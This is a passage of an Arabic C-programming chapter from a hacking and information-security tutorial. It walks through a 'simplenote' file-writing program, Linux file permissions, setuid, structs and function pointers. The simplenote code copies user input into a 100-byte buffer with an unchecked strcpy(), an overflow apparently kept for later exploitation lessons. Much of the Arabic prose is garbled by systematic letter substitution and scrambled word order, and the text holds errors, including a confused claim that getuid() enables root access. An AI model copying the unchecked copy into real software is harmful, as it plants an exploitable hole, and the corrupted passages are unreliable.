‫لكي تتمكن ال ) (‪ open‬من استخدام ذذه ال ‪ flags‬سنحتاج ل َع َمل ‪ include‬هلَذه ال ‪fcntl.h Lib‬‬
‫>‪#include <fcntl.h‬‬
‫َستُالحظ أيض ّا َع َمل ‪ include‬ل ‪ library‬جديدة تُسمى "‪ ،"sys/stat.h‬يوجد ‪ flags‬أطرى ُيمكن لل ) (‪open‬‬

‫استخدامها‪ ،‬تتعلق بال "‪.."file permissions‬‬

‫سنأيت هلم بعد قليل‪.‬‬

‫نأيت لىل كود الربنامج‪:‬‬

‫‪Programming‬‬
‫]‪[78‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>

void usage(char *prog_name, char *filename) {


printf("Usage: %s <data to add to %s>\n", prog_name, filename);
exit(0);
}

void fatal(char *); // A function for fatal errors


void *ec_malloc(unsigned int); // An error-checked malloc() wrapper

int main(int argc, char *argv[]) {


int fd; // file descriptor
char *buffer, *datafile;

buffer = (char *) ec_malloc(100);


datafile = (char *) ec_malloc(20);
strcpy(datafile, "/tmp/notes");

if(argc < 2) // If there aren't command-line arguments,


usage(argv[0], datafile); // display usage message and exit.

strcpy(buffer, argv[1]); // Copy into buffer.

printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer);


printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile);
strncat(buffer, "\n", 1); // Add a newline on the end.

// Opening file
fd = open(datafile, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR |
S_IWUSR);

if(fd == -1)
fatal("in main() while opening file");

Programming
[79]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

printf("[DEBUG] file descriptor is %d\n", fd);

// Writing data
if(write(fd, buffer, strlen(buffer)) == -1)
fatal("in main() while writing buffer to file");

// Closing file
if(close(fd) == -1)
fatal("in main() while closing file");

printf("Note has been saved.\n");


free(buffer);
free(datafile);
}

// A function to display an error message and then exit


void fatal(char *message) {
char error_message[100];

strcpy(error_message, "[!!] Fatal Error ");


strncat(error_message, message, 83);
perror(error_message);
exit(-1);
}

// An error-checked malloc( ) wrapper function


void *ec_malloc(unsigned int size) {
void *ptr;
ptr = malloc(size);
if(ptr == NULL)
fatal("in ec_malloc() on memory allocation");
return ptr;
}

Programming
[80]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ ذ َي اسم الربنامج‬arg[0] ‫ وكَام تَع َلم‬،command-line arguments ‫حيث َيستَقبل الربنامج‬


ُ main( ) ‫نبدأ من ال‬

.!‫ ذ َي ما َسنُدطل ُه نَحن‬arguments ‫ ُثم َبقية ال‬،simplenote.c ،‫نفسه‬

‫ و‬buffer ‫" ُمها‬pointers on strings" ‫ و ُقمنا بتَحديد‬file descriptor ‫ َس َيحمل قيمة ال‬،int ‫ُقمنا بتَعريف ُمتغري‬
‫ من‬casting ‫ مع عمل ال‬buffer ‫ لل‬100 bytes ‫ ب َحجز َلنا مساحة مقدارذا‬ec_malloc( ) ‫ ُثم قامت ال‬،datafile
.‫ بداطله‬string ‫أجل ختزين ال‬
‫ ُمجلة ثابتة! سنضعها بداطله‬datafile ‫ لكن َسنضع داطل ذذا ال‬،datafile ‫ لل‬20 bytes ‫ُثم أيض ًا قامت ب َحجز َلنا‬
“/tmp/notes” :‫ ذذه اجلُملة ستكون‬..strcpy( ) ‫باستخدام‬

/tmp/notes ‫ َسيذذب بنا لىل ال‬datafile ‫قمتى ما استدعينا ذذا ال‬

:‫ كام ييل‬if ‫ تم وضع رشط باستخدام دالة‬arguments ‫وللتأكد من عملية لدطال ال‬
If (argc < 2)
usage(argv[0], datafile);
:‫ يعني‬usage(argv[0], datafile) ‫ذذا السطر‬

:parameters ‫ آطذ ًا معك ذذه ال‬usage( ) ‫ُقم بالذذاب لىل ال‬


Argv[0]which is: simplenote.c, and datafile which is: /tmp/notes

:void usage ‫ املسامة‬function ‫ ستكون ُمدطالت لل‬parameters ‫ذذه ال‬


void usage(char *prog_name, char *filename) {
printf("Usage: %s <data to add to %s>\n", prog_name, filename);
exit(0);
}

Programming
[81]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫الحظ أهنا ‪ void‬بمعني أن ُه لن يكون ذناك ‪ return value‬لىل ال ) (‪.main‬‬

‫لىل ذنا ينتهي الرشط ومتعلقاته!‪.‬‬

‫ويف حالة لدطالنا ال ]‪ ،arg[1‬وذي ”‪،“this is test note‬‬

‫سنقوم بنَسخها لىل ال ‪ ،buffer‬وبعدذا تقوم ) (‪ printf‬بطباعتها وطباعة العنوان اخلاص ِبا‪..‬‬
‫"‪"Address of buffer, and buffer‬‬

‫أسفل منها ) (‪ُ printf‬أطرى َستَط َبع ماييل‪ ،"address of datafile string" :‬و حمتوياهتا‬
‫ت ََذكر أهنا ‪ string‬ثابتة وذي مسار امللف ”‪.“/tmp/notes‬‬

‫ُثم يأيت ذذا اليشء‪:‬‬


‫;) ‪strncat ( buffer, "\n", 1‬‬
‫ونعني به‪:‬‬
‫ُقم بإضاقة ‪ \n‬لىل ال ‪ ..string‬وذي ”‪ “this is test note‬بمعنى لبدأ سطر جديد بعد أن تنتهي ذذه اجلُملة‪ ،‬والرقم (‪)1‬‬

‫ُذنا يعني أن ”‪ “\n‬ذذه تَم َختصيص ‪ 1 byte‬هلا‪ ،‬وذ َي املساحة التي َيش َغلها ذذا الرمز داطل ال ‪. memory‬‬

‫واآلن نأيت ملوضوع احللقة وذو ‪:low-level-functions‬‬

‫ستقوم ال ) (‪ open‬بعملية قتح امللف‪ ،‬وكام ترى أهنا استخدمت جمموعتني من ال ‪ ،flags‬يسبقهم مسار امللف املراد‬
‫قتحه‪.‬‬

‫‪Programming‬‬
‫]‪[82‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫املجموعة األوىل تتكون من ثالثة ‪ flags‬يفصل بينهم | وذي أحد ال ‪ standard logic gates‬تسمى ‪ .OR‬يمكنك‬
‫الرجوع هلذه ال ‪ flags‬لن نسيت دالالهتم‪..‬‬
‫أ ّما املجموعة الثانية قهي‪S_IRUSR | S_IWUSR :‬‬

‫سنأيت لليهم أيض ًا يف ققرة ال ‪.Permissions‬‬


‫‪S_IRUSR Give the file read permission for the user (owner).‬‬
‫‪S_IWUSR Give the file write permission for the user (owner).‬‬

‫الحظ أن ُه عندَ َق َشل أي َع َملية من ال َع َمليات الثالث‪ open, write, and close :‬سيقوم الربنامج باالنتقال لىل ) (‪fatal‬‬

‫لك رسالة ‪ُ error‬ثم اخلُروج طارج الربنامج‪ .‬أ ّما يف احلالة الطبيعية قسيتم َقتح ا َمللف وتقوم ) (‪ printf‬ب َعرض‬
‫َظهر َ‬
‫لت َ‬
‫ال ‪ fd‬اخلاص ِبذه العملية‪.‬‬
‫ذل تَذكُر ذذا ال ‪file descriptor‬؟‪.‬‬

‫ُثم تأيت ال ) (‪ write‬لتَستَقبل ‪ string‬من ال ‪ buffer‬وبالتايل َستحتاج حلساب َعدَ د ُ‬


‫أحرقها كَي يتسنى هلا كتا َبتها داطل‬
‫ا َمللف‪ُ ،‬ذنا َستقوم ال ) (‪ write‬باستخدام ‪ُ Function‬أطرى لتَقوم باستقبال ُحمتويات ال ‪ buffer‬وحساب َعدَ د‬
‫األحرف به‪َ ..‬ذذه ال ‪ function‬تُسمى ) (‪.strlen‬‬
‫ُ‬

‫ُثم تأيت َلنا ال ‪ function‬األطرية لتُغلق ا َمللف‪ ،‬وذ َي ) (‪ ،close‬لت َ‬


‫َظهر يف اخلتام رسالة‪:‬‬
‫"‪"note has been saved‬‬
‫ن ال ‪َ .Heap‬ويتم َغلق ال َقوس اخلاص بال ) (‪.main‬‬ ‫ُثم َع َمل ‪ free‬لك ٍ‬
‫ُل م َن ال ‪ buffer‬و ‪ datafile‬م َ‬

‫‪Programming‬‬
‫]‪[83‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫لنُشاذد النتائج‬
reader@hacking:~/booksrc $ gcc -o simplenote simplenote.c
reader@hacking:~/booksrc $ ./simplenote
Usage: ./simplenote <data to add to /tmp/notes>
reader@hacking:~/booksrc $ ./simplenote "this is a test note"
[DEBUG] buffer @ 0x804a008: 'this is a test note'
[DEBUG] datafile @ 0x804a070: '/tmp/notes'
[DEBUG] file descriptor is 3
Note has been saved.
reader@hacking:~/booksrc $ cat /tmp/notes
this is a test note
reader@hacking:~/booksrc $ ./simplenote "great, it works"
[DEBUG] buffer @ 0x804a008: 'great, it works'
[DEBUG] datafile @ 0x804a070: '/tmp/notes'
[DEBUG] file descriptor is 3
Note has been saved.
reader@hacking:~/booksrc $ cat /tmp/notes
this is a test note
great, it works
reader@hacking:~/booksrc $
reader@hacking:~/booksrc $

Programming
[84]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

File Permissions

َ ‫ تَم َختصيص َجم‬.‫ م َن األمور ا ُمله ّمة يف أنظمة التشغيل‬file permissions ‫ُيعت ََرب ال‬
‫ التي ُيمكنُنا َدجمها‬flags ‫موعة م َن ال‬
."OR" ‫َمع ًا باستخدام َبوابة‬

:‫ كام ييل‬،‫ ُمقس َمة لىل َثالث َجمموعات لتُعطي َصالحيات ل َثال َثة أنواع م َن املُستَخدمني‬flags ‫ذذه ال‬

User (Owner)
S_IRUSR Give the file read permission for the user (owner).
S_IWUSR Give the file write permission for the user (owner).
S_IXUSR Give the file execute permission for the user (owner).

Group
S_IRGRP Give the file read permission for the group.
S_IWGRP Give the file write permission for the group.
S_IXGRP Give the file execute permission for the group.

Others
S_IROTH Give the file read permission for other (anyone).
S_IWOTH Give the file write permission for other (anyone).
S_IXOTH Give the file execute permission for other (anyone).

:‫ َجمموعة م َن الصالحيات التي تُع َطى لثالثة أنواع م َن ا ُملستخدمني‬Linux ‫لكُل َملف يف نظام التشغيل‬
Owner, Group, and Others
:‫لنُشاذد ذذا بمثال‬
reader@hacking:~/booksrc $ ls -l /etc/passwd simplenote*
-rw-/r--/r-- 1 root root 1424 2015-09-06 09:45 /etc/passwd
-rwx/r-x/r-x 1 reader reader 8457 2015-09-07 02:51 simplenote
-rw-/---/--- 1 reader reader 1872 2015-09-07 02:51 simplenote.c
reader@hacking:~/booksrc $

Programming
[85]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ ققط لىل ال‬read ‫ و‬،owner ‫" لىل ال‬read and write" ‫ تَم لعطاء َصالحيات‬/etc/passwd ‫نُالحظ أن أول َملف‬
.others ‫ أيض ًا لىل ال‬read ‫ و‬،group

‫ َس َيمتلكون َصالحيات ذذا‬،‫ وب ُمجرد لضاقتهم لليه‬،group ‫ لىل ذذا‬users ‫ ق ُيمكنُنا لضاقة‬، group ‫لذا ُقمنا بتحديد‬
.group ‫ جلميع َمن َينتمي هلَذا‬Admin ‫ َق َستُمنَح صالحيات ال‬Admins ‫ لل‬group ‫كان‬
َ ‫ قإذا‬،!group

َ ‫َذ ّيا نُشاذد مثال‬


:‫آطر َيتم قيه تَعديل الصالح ّيات كَي تتضح الصورة أكثر‬
reader@hacking:~/booksrc $ chmod 731 simplenote.c
reader@hacking:~/booksrc $ ls -l simplenote.c
-rwx/-wx/--x 1 reader reader 1826 2007-09-07 02:51 simplenote.c
reader@hacking:~/booksrc $ chmod ugo-wx simplenote.c
reader@hacking:~/booksrc $ ls -l simplenote.c
-r--/---/--- 1 reader reader 1826 2007-09-07 02:51 simplenote.c
reader@hacking:~/booksrc $ chmod u+w simplenote.c
reader@hacking:~/booksrc $ ls -l simplenote.c
-rw-/---/--- 1 reader reader 1826 2007-09-07 02:51 simplenote.c
reader@hacking:~/booksrc $

:‫ كالتايل‬chmod ‫ باستخدام األمر‬simplenote ‫للملف‬


َ ‫الحظ يف السطر األول أن ُه َس ُيعطي تَصاريح‬
7 for the owner, 3 for Group, and 1 for Others
‫ ذذه؟؟‬7 ‫ماذا تعني‬
:‫ تأمل ذذه ا ُملعا َد َلة‬..‫َح َسن ًا‬
(4+2+1)=7
Since 4 is read flag, and 2 is write flag, and 1 is the execute flag!, then the sum is 7

Programming
[86]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫واآلن ما داللة الرقم ‪ 3‬املعطى لل ‪..Group‬؟‬

‫ثم يف األمر الذي يليه‪ ،‬سيقوم بنزع صالحيات ال ‪ write‬و ال ‪ execute‬منهم مجيعا ‪.user,group,other‬‬

‫الحظ أنه مل تُع َط صالحية ال ‪ read‬من األساس لىل ك ٍ‬


‫ُل من ال ‪.Group, and Other‬‬

‫سننتقل الآلن لىل ال ‪.User IDs‬‬

‫‪User IDs‬‬

‫يف نظام التشغيل ‪ ،Linux‬حيصل ال ‪ root user‬عىل ‪ id = 0‬حيث تعني أن ُه ‪ُ .Administrator Account‬ذ َ‬
‫ناك بعض‬
‫الثغرات التي ُمت ِّكنُك من الوصول لل ‪ id 0‬باستخدام بعض ال ‪ functions‬مثل ) (‪.getuid‬‬

‫ا ُملهم‪..‬‬

‫دعنا نشاذد ُمرجات األمر ‪ id‬حيث ُيظهر لك ال ‪ id‬املعطاة لك‪:‬‬


‫‪reader@hacking:~/booksrc $ id matrix‬‬
‫)‪uid=500(matrix) gid=500(matrix) groups=500(matrix‬‬
‫‪reader@hacking:~/booksrc $ id root‬‬
‫)‪uid=0(root) gid=0(root) groups=0(root‬‬
‫‪reader@hacking:~/booksrc $‬‬
‫أحد ا َمللفات اخلاصة بال ‪َ .user reader‬سنُحاول‬
‫ُجرب َقتح َ‬ ‫سنقوم بعمل ‪ُ ،log out‬ثم الدطول ب ‪َ account‬‬
‫آطر ون ِّ‬
‫جلملة بداطله من قبل‪.‬‬
‫قتح َملف ال ‪ notes‬الذي كتبنا كود لضاقة ا ُ‬
‫لنُشاذد النتائج‪:‬‬

‫‪Programming‬‬
‫]‪[87‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

jose@hacking:/home/reader/booksrc $
jose@hacking:/home/reader/booksrc $ ls -l /tmp/notes
-rw------- 1 reader reader 36 2007-09-07 05:20 /tmp/notes
jose@hacking:/home/reader/booksrc $ ./simplenote "a note for jose"
[DEBUG] buffer @ 0x804a008: 'a note for jose'
[DEBUG] datafile @ 0x804a070: '/tmp/notes'
[!!] Fatal Error in main() while opening file: Permission denied
jose@hacking:/home/reader/booksrc $ cat /tmp/notes
cat: /tmp/notes: Permission denied
jose@hacking:/home/reader/booksrc $ exit
exit
reader@hacking:~/booksrc $

ً ‫ مث‬.‫ لنفس امللف أو لجراء تعديالت عليه؟‬access ‫ ل َعمل‬user ‫ولكن ماذا لو أراد أكثر من‬
/etc/passwd ‫ال ملف‬

.‫ اخلاص بكل منهم‬default shell ‫ ومنها ال‬users ‫حيتوي عىل بيانات ال‬

‫؟‬Shell ‫ماذذا ال‬

user interface ‫لقد كان ال‬.. Operating System ‫ ليقوم بإرساهلا لىل ال‬commands ‫لنه برنامج يستقبل منك‬

‫ بعد ذالك لتُسهل‬GUI ‫ ُثم ظهرت ال‬،UNIX ‫ يف بدايات ظهور ال‬O.S ‫الوحيدة التي حتقق التواصل بينك وبني ال‬
.!‫بعض األمور لال أنه ال غنى عنه‬

‫ أيض ًا يوجد عدة أنواع أطرى كال‬،‫ حيث ذو األقدم واألقضل‬Bash ‫ ذو ال‬shells ‫األشهر من ذذه ال‬
.ksh, tcsh, and zsh

Programming
[88]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ماهي ُمنا ُذنا أن ‪ُ linux‬يعطي الصالحية ألي ُمستَخدم بأن يقوم بتَغيري ال ‪ default shell‬اخلاص به‪ ،‬ب َمعنى أ ّن ُه َسيَقوم‬
‫َُ‬
‫بإجراء تعديل عىل السطر اخلاص به (ذذا ا ُملستخدم) داطل َملف ‪َ ،/etc/passwd‬ق َ‬
‫كيف َسيقوم ُمستَخدم عادي‬
‫بإجراء ذذا التعديل!‪.‬‬
‫سنستخدم طاصية يف النظام تُسمى "‪."Set User Id Permission‬‬

‫ذل تتذكر ال ”‪.!“read, write, and execute permissions‬‬

‫‪ Setuid‬تُعت ََرب ‪ permission‬أيض ًا نستطيع لضاقتها ألحد الربامج‪ ،‬ولذا ما تم استخدام ذذا الربنامج من ق َبل َأ َحد ال‬
‫‪ users‬قإنه يتعامل مع ال ‪ O.S‬بصالحيات ال ‪.root‬‬

‫الصغري الذي يقوم بإجراء عملية التغيري لنوع ال ‪ shell‬اخلاص بك!‪ ،‬لنه "‪ ."chsh‬نقوم بكتابته يف ال‬
‫َسنأيت للربنامج َ‬
‫‪ terminal‬كَام ُذ َو‪َ ،chsh ،‬س ُ‬
‫يأطذ حينَها َذذا الربنامج ‪َ id‬جديدَ ة و ُمؤقتة‪ ،‬نُطلق عليها ”‪ ،“Effective id‬كي يتسنى له‬
‫لجراء التعديل‪.‬‬
‫ُثم َبعدَ اإلنتهاء َس َيقوم بال َعو َدة لىل ال ‪ real id‬وذ َي ال ‪ id‬ال َطبيعية اخلَاصة بك‪.‬‬
‫‪reader@hacking:~/booksrc $ which chsh‬‬
‫‪/usr/bin/chsh‬‬
‫‪reader@hacking:~/booksrc $ ls -l /usr/bin/chsh /etc/passwd‬‬
‫‪-rw-r--r-- 1 root root 1424 2007-09-06 21:05 /etc/passwd‬‬
‫‪-rws/r-x/r-x 1 root root 23920 2006-12-19 20:35 /usr/bin/chsh‬‬
‫‪reader@hacking:~/booksrc $‬‬

‫كَام تَرى‪َ ،‬حرف ال )‪ )s‬يظهر يف أول طانة َلدَ ى ال ‪ chsh‬بينام غري موجود لدى ال ‪/etc/passwd‬‬

‫‪Programming‬‬
‫]‪[89‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

."chmod u+s" ‫ُك أيض ًا تفعيل َذذه اخلاصية ألي َبرنامج لديك باستخدام األمر‬
َ ‫ُيمكن‬

.‫ُجرب ذذا بمثال‬


ِّ ‫َذيا لن‬
getuid( ) ‫ ت َُسمى‬function ‫ باستخدام‬effectve id ‫ و ال‬real id ‫ماييل كود صغري َيعرض َلنا ال‬
#include <stdio.h>
int main() {
printf("real uid: %d\n", getuid());
printf("effective uid: %d\n", geteuid());
}

uid.c ‫َسنَح َفظ َذذا الكود بإسم‬

:‫" كامييل‬reader" ‫عمل بصالحيات َصاحبه وذو اليوزر‬


َ ‫ذذا الربنامج اآلن َي‬
reader@hacking:~/booksrc $ ./uid
real uid: 999
effective uid: 999
reader@hacking:~/booksrc $

.)‫ (أول طانة‬owner ‫ يظهر يف طانة ال‬،)s( ‫ انتبه للحرف‬،)chmod u+s( ‫واآلن َسنَقوم بتنفيذ األمر‬
reader@hacking:~/booksrc $ sudo chmod u+s ./uid
reader@hacking:~/booksrc $ ls -l uid_demo
-rws/r-x/r-x 1 root root 6825 2007-09-07 05:32 uid
reader@hacking:~/booksrc $ ./uid
real uid: 999
effective uid: 0
reader@hacking:~/booksrc $
.‫( هلذا امللف‬Setuid permission) ‫ َقبدونه َلن ُي َم ِّكنُنا لضاقة ال‬،Sudo ‫الحظ استخدام األمر‬

Programming
[90]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫سننتقل اآلن لىل ال "‪.."Structs‬‬

‫‪Structs‬‬

‫ذل َتتذكر ال ‪Array‬؟‪.‬‬

‫ُعرقها بأهنا عبارة عن جمموعة من العنارص من نفس النوع ُجمتَمعة مع بعضها‪.‬‬


‫كُنا ن ِّ‬
‫‪Array is collection of the elements of same type.‬‬

‫ال ‪َ Struct‬حيمل نَفس َمفهوم ال ‪َ array‬غ َري أن ُه ُيستَخدَ م يف حاالت أكثر تَعقيد ًا‪ ،‬ذو يف النهاية عبارة َعن ُمتغري‬
‫يث أن ُه َحيمل بداطله ُمتغريات ُأطرى ُمتعدِّ َدة‪ ،‬و ُيمكنُه أيض ًا َمحل ‪ variables‬ذات‬
‫‪َ ،Variable‬لكنّه من نوع طاص!‪َ ،‬ح ُ‬
‫‪ُُ data types‬متلفة‪.‬‬

‫قام ذو ال ‪ struct‬؟‬
‫”‪“Is a composition of the different variables of different data types, grouped under same name‬‬

‫ال لو َقرضنا أننا نَود َختزين ‪َ records‬طاصة ب ُطالب يف مد ٍ‬


‫رسة ما‪َ ،‬سنقوم ب َع َمل ‪ُ struct‬ي َسمى ‪ .record‬ذذا ال‬ ‫َقمث ً‬
‫َ‬ ‫َ‬ ‫َ‬
‫‪َ struct‬س َيحمل بداطله ُمتَغريات من أنواع ُُمتَل َفة‪ ..‬منها لسم الطالب‪ّ ،‬‬
‫السنَة الدراسية‪ ،‬تاريخ ميالد الطالب‪ .. ،‬الخ‪.‬‬
‫الحظ أن كُل َذذه ُمتَغريات )‪ )members‬تَت َبع ا ُمل َت َغ ِّري األسايس ‪.Recoed‬‬

‫‪Programming‬‬
‫]‪[91‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Struct Record {
char name[64];
char course[128];
int age;
int year;
};

:‫لنعطي مثال آطر‬


struct tm {
int tm_sec; /* seconds */
int tm_min; /* minutes */
int tm_hour; /* hours */
int tm_mday; /* day of the month */
int tm_mon; /* month */
int tm_year; /* year */
int tm_wday; /* day of the week */
int tm_yday; /* day in the year */
int tm_isdst; /* daylight saving time */
};

َ ‫ َحيوي بداطله َجمموعة م‬،“Time” ‫ لطتصار ًا لل‬tm ‫ لسمه‬struct ‫ذذا ال‬


.variables ‫ن ال‬

.‫ كيف نستخدمه؟‬..!‫جيد‬
‫ أيض ًا ُيمكننا اشتقاق أكثر من‬،‫ ُثم نَقوم بالتعا ُمل َم َع ُه بكُل ُح ّرية‬struct ‫ من َذذا ال‬object ‫يف احلقيقة نقوم باشتقاق‬
.struct ‫ من نَفس ذذا ال‬object

..‫سيكون األمر أكثر وضوح ًا ِبذه الصورة‬

Programming
[92]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫الرتايب قا َم بأطذ نَفس َشكل الدلو‪ ،‬نفس صفاته‪ ..‬باملعنى‬


‫كام ت ََرى يف الصورة‪ ،‬ذذا الدلو ذو ال ‪ ،Struct‬وذذا الشكل ُ‬
‫يأطذ ُحمتويات ال ‪ ،struct‬أو كام ُيطل ُقون عليها ‪ Elements‬أو ‪ .Attributes‬وكام تعلم قإنه بإمكاننا اشتقاق‬
‫الربجمي‪ُ :‬‬
‫َ‬
‫أي عدد من ال ‪ objects‬الرتابية من ذذا الدلو‪ ..‬ال "‪."Struct‬‬

‫‪Programming‬‬
‫]‪[93‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫َذيا ن َُج ِّرب َذذا األمر ب َربنامج صغري‬


#include <stdio.h>
#include <time.h>

int main() {
long int seconds_since_epoch;
struct tm current_time, *time_ptr;
int hour, minute, second, day, month, year;

seconds_since_epoch = time(0); // Pass time a null pointer as argument.


printf("time() - seconds since epoch: %ld\n", seconds_since_epoch);

time_ptr = &current_time; // Set time_ptr to the address of the current_time struct.


localtime_r(&seconds_since_epoch, time_ptr);

// Three different ways to access struct elements:

hour = current_time.tm_hour; // Direct access


minute = time_ptr->tm_min; // Access via pointer
second = *((int *) time_ptr); // Hacky pointer access

printf("Current time is: %02d: %02d: %02d\n", hour, minute,


second);
}

declare ‫ أيض ًا ُقمنا ب َع َمل‬.pointer *time_ptr ‫ ُثم َعرقنا‬،object current_time ‫يف بداية الربنامج قمنا باشتقاق‬

."time.h library" ‫ وذي ُمد َر َجة يف‬،time( ) ‫ بإسم‬function ‫ تَم استخدام‬.!‫ ألنه َس َيحوي عدد كبري‬long int ‫ُمل َت َغ ِّري‬

.1/1/1970 ‫ ذو‬base line ‫ بإرجاع لنا عدد الثواين املحسوبه منذ وقت ُحمَدد ك‬function ‫تقوم ذذه ال‬

‫ حيوي ذذا ال‬current_time ‫" وذو‬address of our object" ‫ ُيشري لىل ال‬pointer time_ptr ‫ُثم ُقمنا ب َجعل ال‬
.!‫ َلكنها قارغة‬struct tm ‫ املوجودة يف ال‬elements ‫ ال‬object

Programming
[94]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫تذكر أهنا ‪ variables‬بمعنى أننا سوف نَمألذا اآلن‪ ،‬سنستخدم ‪ function‬بإسم ) (‪ localtime_r‬لتقوم بمأل ذذه ال‬
‫‪ variables‬بالتوقيت احلايل‪.‬‬
‫ُثم أطري ًا نستخدم ) (‪ printf‬لتعرض لنا التوقيت احلايل بالساعات والدقائق والثواين‪ ،‬وذلك عن طريق استدعائهم من‬
‫ذذا ال ‪ object‬بعد أن قامت ) (‪ locate_r‬بملئهم‪.‬‬
‫سنستخدم ثالثة ُط ُرق ُُمتل َفة أثناء استدعائنا ٍ‬
‫لكل من ذذه ال ‪ Elements‬الثالثة ا ُملكونني للساعات والدقائق والثواين‪.‬‬

‫أشهرذم الطريقة األوىل وذي أن نستدعيه كام ييل‪object.strct_element :‬‬ ‫‪‬‬

‫قمنا باستخدام ذذه الطريقة واملسامة ”‪ “direct access‬لعمل ‪access to the hour element‬‬

‫‪ ‬الطريقة الثانية وذي الدطول باستخدام ال ‪:pointer‬‬

‫تذكر أننا قمنا بعمل ‪ declare‬ل ‪ pointer time_ptr‬وجعلناه يشري لىل ال ‪.object‬‬

‫لنتمكن من الدطول اىل ال ‪ element‬الذي نريده! ذنا اطرتنا الدقائق!‬ ‫>‪-‬‬ ‫قسنقوم باستخدام الرمز‬

‫‪ ‬الطريقة الثالثة (وذي طريقة غري ُمبارشة!)‪:‬‬

‫َتذكر أننا ننتهي من األقواس الداطلية أوالً ثم األقواس اخلارجية‪..‬‬

‫لقد قمنا بتحويل ال "‪ "time_ptr pointer‬لىل ‪ integer pointer‬عن طريق عمل ‪ Cast‬له كام ييل‪:‬‬
‫‪(int *) time_ptr‬‬

‫‪Programming‬‬
‫]‪[95‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ بشكل عام لذا كان من نوع‬pointer ‫ ت ََذكر أن ال‬..‫" كام تعلم‬address of our object" ‫ ُيشري لىل‬pointer ‫ذذا ال‬

4 ‫ َيضع ِبا أول‬4 bytes ‫ أليس كذلك؟ بمعنى أنه مساحتة‬..address ‫ من ال‬4 bytes ‫ قإنه ُيشري لىل أول‬int

.‫ الذي يشري لليه‬address ‫ من ال‬bytes

:‫ الذي ُيشري لليه َق َسنُالحظ اآليت‬object ‫ولذا ألقينا نظرة عىل ذذا ال‬
struct tm {
int tm_sec; /* seconds */
‫ ألن‬،struct ‫ من ال‬4 bytes ‫ بمعنى أهنا تقع يف أول‬،second ‫ ذي ال‬struct ‫ األوىل يف ال‬element ‫الحظ أن ال‬

)*( ‫ ُثم ُقمنا بوضع‬،!!‫ ذذا رائع‬.!‫ بداطله ذي التي تَش َغل‬variables ‫ بل ال‬..!‫ نفسه ال َيشغل مساحة‬struct ‫ال‬

.int pointer ‫ هلذا ال‬dereference ‫أطرى باخلارج لنقوم بعمل‬

:‫لنرى مع ًا ُمرجات ذذا الكود‬


reader@hacking:~/booksrc $ gcc time_example.c
reader@hacking:~/booksrc $ ./a.out
time() - seconds since epoch: 1189311588
Current time is: 04:19:48
reader@hacking:~/booksrc $ ./a.out
time() - seconds since epoch: 1189311600
Current time is: 04:20:00
reader@hacking:~/booksrc $

Programming
[96]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Function Pointers

:‫ لذا سنبدأ باملثال دون ُمقدمات‬،Pointers ‫نحن اآلن عىل دراية جيدة بال‬
#include <stdio.h>

int func_one() {
printf(“This is function one\n”);
return 1;
}

int func_two() {
printf(“This is function two\n”);
return 2;
}

int main() {
int value;
int (*function_ptr)();

function_ptr = func_one;
printf(“function_ptr is 0x%08x\n”, function_ptr);
value = function_ptr();
printf(“value returned was %d\n”, value);

function_ptr = func_two;
printf(“function_ptr is 0x%08x\n”, function_ptr);
value = function_ptr();
printf(“value returned was %d\n”, value);
}

ُ ‫ ال‬function ‫ أن َذذه ال‬int func_one( ) ‫ نَعني ِبذا القوس الفارغ‬..‫بداي ًة‬


.Arguments ‫تأطذ أي‬

: ‫ العجيبة‬pointers ‫ لنَرى ذذا النوع م َن ال‬main( ) ‫نأيت لىل ال‬


int (*function_ptr)();

Programming
[97]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫الحظ معي‬
‫ ذذه ال‬.!‫ ألننا مل نُحددذا بعد‬..( ) ‫ ما وذي ال‬Function ‫*" ُيشري لىل‬function_ptr" ‫ذو‬.. pointer ‫ذذا ال‬
int value ‫ ُث ّم َعرقنا ُمتغري‬.‫ يف الكود ُذنا‬int ‫ وذي‬integer ‫ من نوع‬data type ‫ ذات‬value ‫سرتجع لنا‬
ُ Function
‫" وذو‬address of function" ‫ لتقوم ب َعرض ال‬printf ( ) ‫ استخدمنا ال‬.function ‫ اخلاص بال‬return ‫لنضع به ال‬
ُ
‫حيث تقوم‬ ،function ‫ َو َستعرض َلنا أيض ًا ما َستُنفذ ُه َذذه ال‬."address of function" ‫ َق ُهو ُيشري لىل ال‬.pointer ‫ال‬

.‫ َهلا بنَفس الطريقة‬call ‫ ُثم لجراء‬.func_two( ) ‫ ُثم َجعلنا ُه ُيشري مر ًة أطرى لىل ال‬.!‫" ققط‬return 1" ‫ و‬،‫بطباعة ُمجلة‬

:‫لنُشاذد النتائج‬
